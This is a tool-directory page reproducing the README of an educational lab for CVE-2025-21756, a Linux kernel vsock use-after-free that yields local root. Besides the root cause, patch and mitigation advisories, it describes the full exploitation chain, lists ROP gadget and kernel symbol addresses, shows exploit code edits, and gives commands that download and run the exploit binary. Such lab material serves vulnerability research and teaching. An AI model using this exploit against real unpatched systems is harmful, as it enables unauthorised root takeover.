Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-21756 — Educational lab demonstrating a use-after-free (UAF) exploit in the Linux kernel's vsock subsystem for local privilege escalation to root, with automated setup and ROP chain analysis. | Kitploit
Tools/GitHubGitHub/h3raklez/cve-2025-21756
Privilege EscalationVulnerability AnalysisExploitationCTFLearning & EducationBinary ExploitationLabs & Practice
GitHubh3raklez/cve-2025-21756

CVE-2025-21756

Educational lab demonstrating a use-after-free (UAF) exploit in the Linux kernel's vsock subsystem for local privilege escalation to root, with automated setup and ROP chain analysis.

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-21756 — Exploitation Lab

For educational and authorized security research purposes only.

Description

CVE-2025-21756 is a use-after-free (UAF) vulnerability in the Linux kernel's vsock (Virtual Socket) subsystem, disclosed on February 26, 2025. It allows a local attacker to escalate privileges to root on affected Linux systems.

  • CVSS v3.1: 7.8 (HIGH)
  • Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-416 (Use-After-Free)
  • Affected component: net/vmw_vsock/af_vsock.c
  • Affected kernel: Linux 6.6.75 (and earlier unpatched versions)

Root Cause

The bug occurs during transport reassignment of a vsock socket. The vulnerable sequence is:

  1. vsock_create() creates the socket with refcnt=2 and inserts it into the unbound list
  2. transport->release() calls vsock_remove_bound() without checking whether the socket was moved to the bound list, incorrectly decrementing refcnt
  3. vsock_bind() assumes the socket is still in the unbound list and calls _vsock_remove_bound() again
  4. refcnt reaches 0 prematurely → the vsock object is freed while still referenced → UAF

Applied patch

root@kitploit:~
void vsock_remove_sock(struct vsock_sock *vsk)
{
-    vsock_remove_bound(vsk);
+    if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+        vsock_remove_bound(vsk);
     vsock_remove_connected(vsk);
}

Exploitation Chain

  1. Trigger UAF — Two consecutive connect() calls with CIDs that produce different transports cause the vsock object to be freed prematurely while still linked in vsock_bind_table
  2. Slab freeing — SLUB partial lists are drained to return the victim page to the page allocator
  3. Page spray — The freed page is reclaimed using unix_dgram_sendmsg with order-2 messages (MIGRATE_UNMOVABLE), filling it with controlled data
  4. Side-channel — vsock_diag_dump (not protected by AppArmor) is used as a side-channel to detect when the page was reclaimed and locate the exact offset of the victim object within the page
  5. RIP hijacking — sk->sk_prot is overwritten to point to udp_prot+0x1c0 (udp_abort), which when called invokes sk->sk_error_report(sk), whose pointer is overwritten with a stack pivot gadget
  6. ROP chain — commit_creds(init_cred) is executed to assign root credentials to the process, followed by the KPTI trampoline to return to userspace

Requirements

  • Debian 12 or 13 x86_64 (tested on Debian 13)
  • Normal user with sudo access
  • Minimum RAM: 1 GB
  • Free disk space: 10 GB

Lab Setup

root@kitploit:~
# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh

# Run as a normal user (not root)
./setup-lab.sh

The script automatically handles:

  • Installing sudo if not available
  • Installing all required dependencies (build-essential, qemu-system-x86, bc, pahole, etc.)
  • Downloading the official Google kCTF environment (kernel lts-6.6.75, rootfs, ramdisk)
  • Downloading the ktranowl exploit and applying the required patches
  • Compiling the exploit
  • Creating the execution environment with the correct parameters
  • Creating run_lab.sh as the single entry point

Running the Lab

root@kitploit:~
cd ~/cve-2025-21756-lab
./run_lab.sh

Once the environment boots, run the following inside it:

root@kitploit:~
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit

Expected output

root@kitploit:~
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)

To exit: Ctrl-A X


Modifications Applied to the Original Exploit

The base exploit is from ktranowl. The following modifications were applied to make it work in this environment:

1. KASLR disabled

Modification: nokaslr added to the kernel boot parameters.

Reason: The original exploit bypasses KASLR using EntryBleed, a TLB timing side-channel technique that requires precise CPU timing. In a nested virtualization environment the rdtsc precision is insufficient for EntryBleed to work reliably, producing an incorrect kbase that causes all addresses calculated with ADDRESS() to be wrong. Disabling KASLR ensures the kernel always loads at 0xffffffff81000000 and the hardcoded offsets in the exploit are always correct.

2. user_rip changed from modeprobe_exec to check_root

Modification in exploit.c:

root@kitploit:~
// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;

// After
uint64_t user_rip = (uint64_t)check_root;

Reason: modeprobe_exec is the privilege escalation technique used in the original exploit for the remote kCTF environment. It requires command-line arguments (IP and port of a remote server) and external network connectivity. Without those arguments the process crashes with a GPF when trying to read argv[1]. check_root directly verifies the uid and executes /bin/sh, which is sufficient to demonstrate the exploitation in a local environment.

3. Removed modeprobe_exec call inside check_root

Modification in exploit.c:

root@kitploit:~
void check_root() {
    if (getuid() == 0) {
        puts("[*] I AM ROOT");
-       modeprobe_exec();        // removed
        char binsh[] = "/bin/sh";
        char* const argv[] = {binsh, NULL};
        execve("/bin/sh", argv, 0);
    }
}

Reason: Even with user_rip pointing to check_root, this function internally called modeprobe_exec again before executing /bin/sh. Without the required arguments, that call caused a GPF and the process terminated without opening a shell, despite commit_creds having already escalated privileges successfully.


ROP Chain and Symbol Analysis

During the lab setup process, all kernel symbols and ROP gadgets were verified against the official kCTF lts-6.6.75 kernel to confirm they were valid for this environment.

ROP gadgets

The three gadgets used in the exploit were extracted from the official kernel using ROPgadget on the vmlinux binary and confirmed to match the hardcoded values exactly:

None of these required modification.

Kernel symbols

The following symbols were verified against /proc/kallsyms inside the kernel (with nokaslr, offsets are fixed):

All values matched the originals in the exploit. No modifications were needed.

Note on address_contain_udp_abort

This value does not point directly to the udp_abort function. It points to udp_prot + 0x1c0, which is the diag_destroy field inside struct proto. This is intentional: vsock_release calls sk->sk_prot->close(sk, 0), where close is at offset 0 of struct proto. By pointing sk_prot at udp_prot->diag_destroy instead of the start of udp_prot, the kernel reads diag_destroy as if it were the close pointer, which contains . This chains into → , where the stack pivot gadget is placed.

root@kitploit:~
vsock_release(sk)
└── sk->sk_prot->close(sk)         ← sk_prot points to udp_prot+0x1c0
    └── udp_abort(sk)              ← diag_destroy field, read as close()
        └── sk_error_report(sk)
            └── sk->sk_error_report(sk)  ← stack pivot gadget
                └── ROP chain
                    └── commit_creds(init_cred)
                        └── kpti_trampoline → root shell


Mitigation

The official patch is available from kernel 6.14-rc1 and has been backported to all maintained LTS branches. Affected distributions have issued their own advisories:

  • Ubuntu: USN-7361-1 and later
  • RHEL/CentOS: RHSA-2025:7903
  • SUSE: SUSE-SU-2025:01919-1 and later

References


Disclaimer

This tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.

Download Tool
  • Root shell — execve("/bin/sh") with uid=0
  • GadgetAddressPurpose
    pop rax ; and eax, ... ; pop rsp ; jmp ...0xffffffff8122ad32Stack pivot — moves RSP to the start of the controlled vsock object
    add rsp, 0xb8 ; jmp ...0xffffffff8170292cStack advance — skips reserved fields to reach the ROP chain
    pop rdi ; ret0xffffffff8115e4f9Load first argument for commit_creds(init_cred)
    SymbolAddressNotes
    vsock_bind_table[0x7a]0xffffffff84bc6280Side-channel anchor — the vsock list slot where the victim object lands
    init_net0xffffffff84bb1f80Used to validate the fake vsock object via vsock_diag_dump
    commit_creds0xffffffff811fdac0Assigns root credentials to the current process
    init_cred0xffffffff83c74d80Credential structure with uid=gid=0, at a fixed offset from kernel base
    kpti_trampoline0xffffffff826011a6swapgs_restore_regs_and_return_to_usermode+0x36 — restores CR3 and returns to userspace
    address_contain_udp_abort0xffffffff83ef28e0udp_prot + 0x1c0 — see note below
    udp_abort
    sk_error_report(sk)
    sk->sk_error_report(sk)
    AspectOriginal (ktranowl)This lab
    KASLR bypassEntryBleed (TLB timing)Disabled (nokaslr)
    Escalation techniquemodeprobe_exec via core_patternexecve("/bin/sh") directly
    Target environmentRemote kCTFLocal
    External connectivity requiredYesNo
    ResourceURL
    Original writeup (Hoefler)https://hoefler.dev/articles/vsock.html
    Hoefler exploithttps://github.com/hoefler02/CVE-2025-21756
    n-day analysis (ktranowl)https://hackmd.io/@ktranowl/H1XRm4zBxl
    ktranowl exploithttps://github.com/khoatran107/cve-2025-21756
    Official patchhttps://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023
    NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-21756
    kCTF ruleshttps://google.github.io/security-research/kernelctf/rules.html